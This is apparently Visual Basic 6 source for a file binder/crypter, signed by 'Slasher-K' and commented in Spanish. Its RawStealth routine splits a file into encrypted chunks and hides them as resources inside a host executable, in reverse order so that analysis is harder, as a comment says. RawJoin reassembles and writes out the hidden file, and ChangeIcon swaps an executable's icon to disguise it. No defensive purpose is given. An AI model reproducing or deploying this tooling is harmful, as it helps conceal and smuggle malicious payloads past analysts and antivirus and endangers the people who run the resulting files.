Option Explicit

Public Const MAX_RAW_SIZE = 16384 ' 16 KB

Public Const RAW_VERSION = 1
Public Const RAW_BASE = 1337
Public Const RAW_DEF_LANG = 3082

Public Const RAW_ENCODE_BLOWFISH = 1
Public Const RAW_ENCODE_RIJNDAEL = 2
Public Const RAW_ENCODE_BASE64 = 3

Type RAW_HEADER
  Size              As Long
  Checksum          As Long     ' Checksum de los datos no-cifrados.
  SizeOfRawData     As Long
  PointerToRawData  As Long     ' Relativo al inicio de la cabecera.
  CryptKeyPointer   As Long
  CryptKeySize      As Integer
  Version           As Integer
  EncodeType        As Integer
  Count             As Integer  ' Queremos rearmarlo ;)
  Index             As Integer
End Type

Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, Optional lpNumberOfBytesWritten As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, Optional lpNumberOfBytesWritten As Long) As Long

Public Declare Function BeginUpdateResource9x Lib "unicows.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Public Declare Function UpdateResource9x Lib "unicows.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function EndUpdateResource9x Lib "unicows.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

Public Declare Function BeginUpdateResourceNT Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Public Declare Function UpdateResourceNT Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function EndUpdateResourceNT Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

Public Declare Function EnumResourceTypes Lib "kernel32" Alias "EnumResourceTypesA" (ByVal hModule As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function EnumResourceLanguages Lib "kernel32" Alias "EnumResourceLanguagesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function EnumResourceNames Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Public Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, ByVal lpName As Long, ByVal lpType As Long) As Long
Public Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Public Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long

Private hRawJoinMem As Long

Sub RawStealth(HostFilename As String, SourceFilename As String)
        Dim lpHeader As RAW_HEADER
        Dim lPieces&, lBytesRemaining&
        Dim btSourceData() As Byte
        Dim btPieceData()  As Byte
        Dim hHostRes&, hSource&
        Dim lBaseIndex&
        Dim hMem&, i&, r&

  hSource = FreeFile
 
  ' Abre el archivo fuente.
  '
  Open SourceFilename For Binary As #hSource
 
  ReDim btSourceData(LOF(hSource)) As Byte
 
  ' Lee todo el archivo a la matriz de byte.
  '
  Get #hSource, 1, btSourceData
 
  ' Calcula cuantos trozos de MAX_RAW_SIZE-bytes serán
  ' necesarios para este archivo.
  '
  lPieces = LOF(hSource) \ MAX_RAW_SIZE
 
  ' Calcula los bytes restantes, por si el tamaño del
  ' archivo no es múltiplo de MAX_RAW_SIZE.
  '
  lBytesRemaining = LOF(hSource) Mod MAX_RAW_SIZE
 
  Close #hSource
 
  ' Si sobran bytes entonces deberá crearse otra
  ' entrada de recursos.
  '
  If lBytesRemaining Then lPieces = lPieces + 1
 
  ' Abre el archivo host para editar recursos.
  '
  If IsWin9x Then
    hHostRes = BeginUpdateResource9x(HostFilename, False)
  Else
    hHostRes = BeginUpdateResourceNT(HostFilename, False)
  End If
 
  ' Inicializa la cabecera de los recursos.
  '
  lpHeader.Size = Len(lpHeader)
  lpHeader.Version = RAW_VERSION
  lpHeader.Count = lPieces
 
  ' Sólo para dificultar un poco más el análisis,
  ' comienza a poner los recursos desde el último
  ' trozo hasta el primero, por eso establece la
  ' variable lBaseIndex al último byte, ya que
  ' este indica el elemento de la matriz btSourceData
  ' desd el cuál se leerá en cada sección.
  '
  lBaseIndex = UBound(btSourceData)
 
  For i = lPieces To 1 Step -1
    If i < lPieces Or (lBytesRemaining = 0) Then
      ' Si no es la última sección o no hay bytes
      ' sobrantes, por lo que todas las secciones
      ' tendrían el mismo tamaño (MAX_RAW_SIZE).
      '
      lpHeader.SizeOfRawData = MAX_RAW_SIZE
      lpHeader.PointerToRawData = lpHeader.Size
    Else
      ' Longitud de datos de la última sección.
      '
      lpHeader.SizeOfRawData = lBytesRemaining
      lpHeader.PointerToRawData = lpHeader.Size
    End If
   
    lpHeader.Index = i

    ' Calcula el índice base de la matriz desde
    ' el que se leerá.
    '
    lBaseIndex = lBaseIndex - lpHeader.SizeOfRawData
 
    ' Establece el tipo de cifrado de datos a 0 (ninguno)
    ' para obtener uno válido y aleatorio a continuación.
    '
    lpHeader.EncodeType = 0
   
    ' Determina el tipo de cifrado para este bloque.
    '
'    Do
'      lpHeader.EncodeType = Rnd * 2
'    Loop While (lpHeader.EncodeType = 0)
   
    ' En esta variable se leerá el bloque de datos.
    '
    ReDim btPieceData(lpHeader.SizeOfRawData) As Byte
   
    ' Lee el bloque de datos desde los datos originales.
    '
    r = ReadProcessMemory(GetCurrentProcess(), VarPtr(btSourceData(lBaseIndex)), _
                          btPieceData(0), lpHeader.SizeOfRawData)
   
    ' cifra los datos y devuelve el puntero de memoria
    ' de los datos cifrados, y su correspondiente cabecera
    ' listo para meter en el host como recursos.
    '
    hMem = EncryptRawData(lpHeader, btPieceData(), GenKey(8)) ' Utiliza una clave aleatoria de 8 bytes.
 
    ' Crea/Reemplaza el recurso del host.
    '
    If IsWin9x Then
      r = UpdateResource9x(hHostRes, RT_RCDATA, RAW_BASE + i, RAW_DEF_LANG, _
                      ByVal hMem, lpHeader.PointerToRawData + lpHeader.SizeOfRawData)
    Else
      r = UpdateResourceNT(hHostRes, RT_RCDATA, RAW_BASE + i, RAW_DEF_LANG, _
                      ByVal hMem, lpHeader.PointerToRawData + lpHeader.SizeOfRawData)
    End If
   
    ' Libera la memoria usada por este bloque.
    '
    r = VirtualFree(hMem, 0&, MEM_RELEASE)

    DoEvents
  Next
 
  ' Actualiza el host con los nuevos datos.
  '
  If IsWin9x Then
    r = EndUpdateResource9x(hHostRes, False)
  Else
    r = EndUpdateResourceNT(hHostRes, False)
  End If
End Sub

Function EncryptRawData(Header As RAW_HEADER, Data() As Byte, ByVal Key As String) As Long
        Dim csRijndael As New CRijndael
        Dim csBlowfish As New CBlowfish
        Dim btEncrypted() As Byte
        Dim hMem&, r&
     
  With Header
    ' Calcula el checksum de los datos planos para verificarlos
    ' al extraerlos del archivo host.
    '
    .Checksum = GetChecksum(Data)
   
    ' cifra los datos según el algoritmo seleccionado.
    '
    Select Case .EncodeType
      Case RAW_ENCODE_BLOWFISH
        Call csBlowfish.EncryptByte(Data, Key)
        btEncrypted = Data
      Case RAW_ENCODE_RIJNDAEL
        btEncrypted = csRijndael.EncryptData(Data, StrConv(Key, vbFromUnicode))
      Case RAW_ENCODE_BASE64
        btEncrypted = csBlowfish.EncodeArray64(Data)
      Case Else
        btEncrypted = Data
    End Select
   
    ' Guarda la clave en Base64
    '
    Key = csBlowfish.Encode64(Key)
   
    ' Asigna memoria suficiente para guardar la cabecera, la clave y los datos.
    '
    hMem = VirtualAlloc(0&, .PointerToRawData + .SizeOfRawData + Len(Key), _
                        MEM_COMMIT, PAGE_READWRITE)

    ' Recalcula los registros de la cabecera con
    ' los datos actuales.
    '
    .CryptKeySize = Len(Key)
    .CryptKeyPointer = .Size
    .PointerToRawData = .Size + Len(Key)
    .SizeOfRawData = UBound(btEncrypted)
  End With

  ' Escribe en la memoria la cabecera, la clave y los datos.
  '
  r = ReadProcessMemory(GetCurrentProcess(), VarPtr(Header), ByVal hMem, Len(Header))
  r = ReadProcessMemory(GetCurrentProcess(), StrPtr(StrConv(Key, vbFromUnicode)), ByVal hMem + Header.Size, Header.CryptKeySize)
  r = ReadProcessMemory(GetCurrentProcess(), VarPtr(btEncrypted(0)), ByVal hMem + Header.PointerToRawData, Header.SizeOfRawData)
 
  EncryptRawData = hMem

End Function

Sub RawJoin(HostFilename As String)
        Dim hModule&, r&

  ' Carga el ejecutable como archivo de datos
  ' para leer los recursos.
  '
  hModule = LoadLibraryEx(ByVal HostFilename, 0, LOAD_LIBRARY_AS_DATAFILE)

  r = EnumResourceNames(hModule, RT_RCDATA, AddressOf EnumRawResNameProc, hModule)

  Call FreeLibrary(hModule)
End Sub

Function EnumRawResNameProc(ByVal hModule As Long, ByVal dwType As Long, ByVal dwName As Long, ByVal lParam As Long) As Long
        Static hMem&, lCnt&, lSize&
       
        Dim csRijndael  As New CRijndael
        Dim csBlowfish  As New clsBlowfish
        Dim lpHeader    As RAW_HEADER
        Dim btData()    As Byte
        Dim btKey()     As Byte
        Dim hFind&, hRsrc&
        Dim r&, lAddress&
        Dim hFile%
       

  If dwName >= RAW_BASE Then
    ' Si pertenece a los recursos del archivo.
    '
   
    ' Busca el recurso actual.
    '
    hFind = FindResource(lParam, dwName, RT_RCDATA)
   
    If hFind Then
      ' Extrae el recurso del archivo.
      '
      hRsrc = LoadResource(lParam, hFind)
     
      ' Carga los datos del recurso en memoria.
      '
      lAddress = LockResource(hRsrc)
     
      lCnt = lCnt + 1
     
      ' Lee la cabecera de datos.
      '
      r = ReadProcessMemory(GetCurrentProcess(), lAddress, lpHeader, Len(lpHeader))
     
      With lpHeader
        If hMem = 0 Then
          ' Asigna memoria suficiente para rearmar el archivo en memoria.
          '
          hMem = VirtualAlloc(0&, .Count * .SizeOfRawData, MEM_COMMIT, PAGE_READWRITE)
        End If

        ReDim btData(.SizeOfRawData) As Byte
       
        ' Lee los datos crudos del archivo.
        '
        r = ReadProcessMemory(GetCurrentProcess(), lAddress + .PointerToRawData, _
                              btData(0), .SizeOfRawData)

        If .EncodeType Then
          ' Si los datos están cifrados, lee la clave.
          '
          ReDim btKey(.CryptKeySize) As Byte
         
          r = ReadProcessMemory(GetCurrentProcess(), lAddress + .CryptKeyPointer, _
                                btKey(0), .CryptKeySize)

          btKey = csBlowfish.DecodeArray64(StrConv(btKey, vbUnicode))

          ' descifra los datos del archivo.
          '
          Select Case .EncodeType
            Case RAW_ENCODE_BLOWFISH
              Call csBlowfish.DecryptByte(btData, StrConv(btKey, vbUnicode))
            Case RAW_ENCODE_RIJNDAEL
              btData = csRijndael.DecryptData(btData, btKey)
            Case RAW_ENCODE_BASE64
              btData = csBlowfish.DecodeArray64(StrConv(btData, vbUnicode))
          End Select
        End If
       
        ' Verifica que los datos leídos sean los mismos
        ' que cuando se creó el recurso.
        '
        If .Checksum <> GetChecksum(btData) Then
          Debug.Print "Parte " & .Index & " del archivo corrupta"
        End If
       
        lSize = lSize + UBound(btData)
       
        ' Escribe el bloque actual del archivo en memoria.
        '
        r = WriteProcessMemory(GetCurrentProcess(), hMem + (CLng(.Index - 1) * MAX_RAW_SIZE), _
                              btData(0), UBound(btData))
       
        If lCnt = .Count Then
          ' Si ya se leyeron todos los bloques.
          '
          ReDim btData(lSize) As Byte
         
          ' Copia todo el archivo rearmado a una matriz de byte.
          '
          r = ReadProcessMemory(GetCurrentProcess(), hMem, btData(0), lSize)
         
          hFile = FreeFile
         
          ' Crea un nuevo archivo y guarda los datos extraídos.
          '
          Open "C:\" & Hex$(Timer) & ".dat" For Binary As #hFile
         
          Put #hFile, 1, btData
         
          Close #hFile
         
          lCnt = 0
          lSize = 0
         
          Call VirtualFree(hMem, 0&, MEM_RELEASE)
         
          hMem = 0
          EnumRawResNameProc = 0
        Else
          EnumRawResNameProc = 1
        End If
      End With
     
      ' Libera la memoria usada por los datos
      ' del recurso actual.
      '
      r = FreeResource(hRsrc)
    End If
   
  End If
 
  DoEvents
End Function

Function GetChecksum(Data() As Byte) As Long
      Dim i&, lChecksum&

  For i = 0 To UBound(Data) - 1
    lChecksum = lChecksum + (Data(i) Xor i)
  Next
 
  GetChecksum = lChecksum
End Function

Function GenKey(Bytes As Integer) As String
      Dim i%, iChar%, sKey$

  Call Randomize(Timer)
 
  For i = 1 To Bytes
    iChar = Rnd * 8192
   
    sKey = sKey & String$(1, iChar)
  Next
 
  GenKey = sKey
End Function

'
'Coded by Slasher-K
'
Public Declare Function BeginUpdateResource Lib "unicows.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Public Declare Function UpdateResource Lib "unicows.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function EndUpdateResource Lib "unicows.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long


Function ChangeIcon(Filename As String, IconFilename As String) As Boolean
  On Error GoTo ErrRes
 
        Dim hRes&, r&
        Dim btData() As Byte
 
  hRes = BeginUpdateResource(Filename, False)
 
  If hRes = 0 Then
    Debug.Print "No se pudo abrir el archivo"
   
    Exit Function
  End If

  btData = GetIconData(IconFilename)
  r = UpdateResource(hRes, RT_ICON, 1, 3082, btData(0), UBound(btData))

ErrRes:
  r = EndUpdateResource(hRes, False)
End Function

'
'Coded by Slasher-K
'

Option Explicit

Type ICONDIRENTRY
  bWidth        As Byte     '  Ancho, en píxeles, de la imagen.
  bHeight       As Byte     '  Alto, en píxeles, de la imagen.
  bColorCount   As Byte     '  Número de colores en la imagen (0 si >=8bpp).
  bReserved     As Byte     '  Reservado ( debe ser 0).
  wPlanes       As Integer  '  Color Planes.
  wBitCount     As Integer  '  Bits por pixel.
  dwBytesInRes  As Long     '  Bytes in the resource.
  dwImageOffset As Long     '  Puntero a los datos en el archivo.
End Type

Type ICONDIR
  idReserved  As Integer
  idType      As Integer
  idCount     As Integer
End Type

Function GetIconData(IcoFile As String, Optional IconIndex As Integer) As Byte()
  On Error Resume Next
 
     
      Dim lpIconDir   As ICONDIR
      Dim lpIconEntry As ICONDIRENTRY
      Dim btData()    As Byte
      Dim lOffset&, iCnt%
      Dim hFile%, i%

  hFile = FreeFile
 
  Open IcoFile For Binary As #hFile
 
  Get #hFile, 1, lpIconDir
 
  With lpIconDir
    lOffset = Len(lpIconDir) + 1
   
    If (IconIndex > .idCount) Or (IconIndex < 1) Then IconIndex = 1
   
    For i = 1 To .idCount
      Get #hFile, lOffset, lpIconEntry
     
      If i = IconIndex Then
        ReDim btData(lpIconEntry.dwBytesInRes) As Byte
       
        Get #hFile, lpIconEntry.dwImageOffset + 1, btData
       
        GetIconData = btData
       
        Exit For
      End If
     
      lOffset = lOffset + Len(lpIconEntry)
    Next
   
  End With
 
ErrRead:
  Close #hFile
End Function